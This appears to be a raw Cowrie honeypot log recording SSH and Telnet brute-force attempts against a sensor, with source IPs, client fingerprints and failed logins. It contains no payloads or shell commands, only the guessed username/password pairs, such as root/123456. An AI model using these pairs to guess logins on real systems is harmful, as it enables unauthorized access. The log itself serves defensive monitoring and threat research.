{"eventid":"cowrie.login.failed","username":"user","password":"user@123","message":"login attempt [user/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:41.107090Z","src_ip":"152.200.205.179","session":"9664f6753ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":59532,"dst_ip":"159.203.135.109","dst_port":22,"session":"86e8bf056317","protocol":"ssh","message":"New connection: 159.65.58.200:59532 (159.203.135.109:22) [session: 86e8bf056317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:41.194307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:41.417145Z","src_ip":"159.65.58.200","session":"86e8bf056317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:41.419998Z","src_ip":"159.65.58.200","session":"86e8bf056317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:42.201998Z","src_ip":"152.200.205.179","session":"9664f6753ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"123456","message":"login attempt [sniper/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:42.630981Z","src_ip":"159.65.58.200","session":"86e8bf056317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:44.002373Z","src_ip":"159.65.58.200","session":"86e8bf056317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":43610,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2a82bc3d270","protocol":"ssh","message":"New connection: 91.92.40.13:43610 (159.203.135.109:22) [session: f2a82bc3d270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:45.636272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:45.721210Z","src_ip":"91.92.40.13","session":"f2a82bc3d270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:45.724919Z","src_ip":"91.92.40.13","session":"f2a82bc3d270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:46.506725Z","src_ip":"91.92.40.13","session":"f2a82bc3d270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:47.734993Z","src_ip":"91.92.40.13","session":"f2a82bc3d270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0104706287384,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:57.104507Z","src_ip":"170.64.224.25","session":"47500fd0db9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53084,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1384d38fd65","protocol":"ssh","message":"New connection: 8.210.75.243:53084 (10.17.0.5:22) [session: b1384d38fd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:04.939070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:04.986124Z","src_ip":"8.210.75.243","session":"b1384d38fd65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.713316202163696,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:11.007196Z","src_ip":"170.64.224.25","session":"9830e06f38a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:13.043099Z","src_ip":"8.210.75.243","session":"65be6bf01215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.75441527366638,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:20.639569Z","src_ip":"170.64.224.25","session":"ac9261643a65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":33766,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c98118cc6f4","protocol":"ssh","message":"New connection: 129.121.102.3:33766 (10.17.0.5:22) [session: 1c98118cc6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:36.999412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:37.003188Z","src_ip":"129.121.102.3","session":"1c98118cc6f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:37.028999Z","src_ip":"129.121.102.3","session":"1c98118cc6f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1","message":"login attempt [root/zaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:37.170295Z","src_ip":"129.121.102.3","session":"1c98118cc6f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:38.200959Z","src_ip":"129.121.102.3","session":"1c98118cc6f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":56148,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d9656f5114d","protocol":"ssh","message":"New connection: 87.106.29.151:56148 (10.17.0.5:22) [session: 0d9656f5114d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:40.083403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:40.087719Z","src_ip":"87.106.29.151","session":"0d9656f5114d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:40.183882Z","src_ip":"87.106.29.151","session":"0d9656f5114d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azerty789","message":"login attempt [root/azerty789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:40.590652Z","src_ip":"87.106.29.151","session":"0d9656f5114d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":42638,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c955acd4c0","protocol":"ssh","message":"New connection: 105.27.148.94:42638 (10.17.0.5:22) [session: 57c955acd4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:40.890587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:40.894436Z","src_ip":"105.27.148.94","session":"57c955acd4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:41.104702Z","src_ip":"105.27.148.94","session":"57c955acd4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:41.689498Z","src_ip":"87.106.29.151","session":"0d9656f5114d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"12345678","message":"login attempt [nexus/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:41.983196Z","src_ip":"105.27.148.94","session":"57c955acd4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:43.047724Z","src_ip":"8.210.75.243","session":"3151ad51cc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:43.200462Z","src_ip":"105.27.148.94","session":"57c955acd4c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49052,"dst_ip":"10.17.0.5","dst_port":22,"session":"f21e0be83cb8","protocol":"ssh","message":"New connection: 8.210.75.243:49052 (10.17.0.5:22) [session: f21e0be83cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:57.865565Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":50396,"dst_ip":"10.17.0.5","dst_port":22,"session":"a30f61f857c7","protocol":"ssh","message":"New connection: 123.58.213.128:50396 (10.17.0.5:22) [session: a30f61f857c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:59.067137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:59.070922Z","src_ip":"123.58.213.128","session":"a30f61f857c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:50:59.288780Z","src_ip":"123.58.213.128","session":"a30f61f857c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei_123","message":"login attempt [root/Huawei_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:00.194748Z","src_ip":"123.58.213.128","session":"a30f61f857c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:01.420549Z","src_ip":"123.58.213.128","session":"a30f61f857c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":56998,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fb1d75249d6","protocol":"ssh","message":"New connection: 103.199.16.90:56998 (159.203.135.109:22) [session: 0fb1d75249d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:02.345814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:02.356035Z","src_ip":"103.199.16.90","session":"0fb1d75249d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:02.582223Z","src_ip":"103.199.16.90","session":"0fb1d75249d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daphne","password":"123456","message":"login attempt [daphne/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:03.492137Z","src_ip":"103.199.16.90","session":"0fb1d75249d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:04.721023Z","src_ip":"103.199.16.90","session":"0fb1d75249d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36676,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1f28b7d821c","protocol":"telnet","message":"New connection: 170.64.224.25:36676 (159.203.135.109:23) [session: e1f28b7d821c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:09.394719Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":43632,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ccefd054e0","protocol":"telnet","message":"New connection: 94.23.66.112:43632 (10.17.0.5:23) [session: 21ccefd054e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:29.250577Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:32.393893Z","src_ip":"8.210.75.243","session":"bd155a68c6be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":59452,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c7c118a38c8","protocol":"ssh","message":"New connection: 152.200.205.179:59452 (10.17.0.5:22) [session: 3c7c118a38c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:34.531060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:51:34.534182Z","src_ip":"152.200.205.179","session":"3c7c118a38c8","protocol":"ssh"}
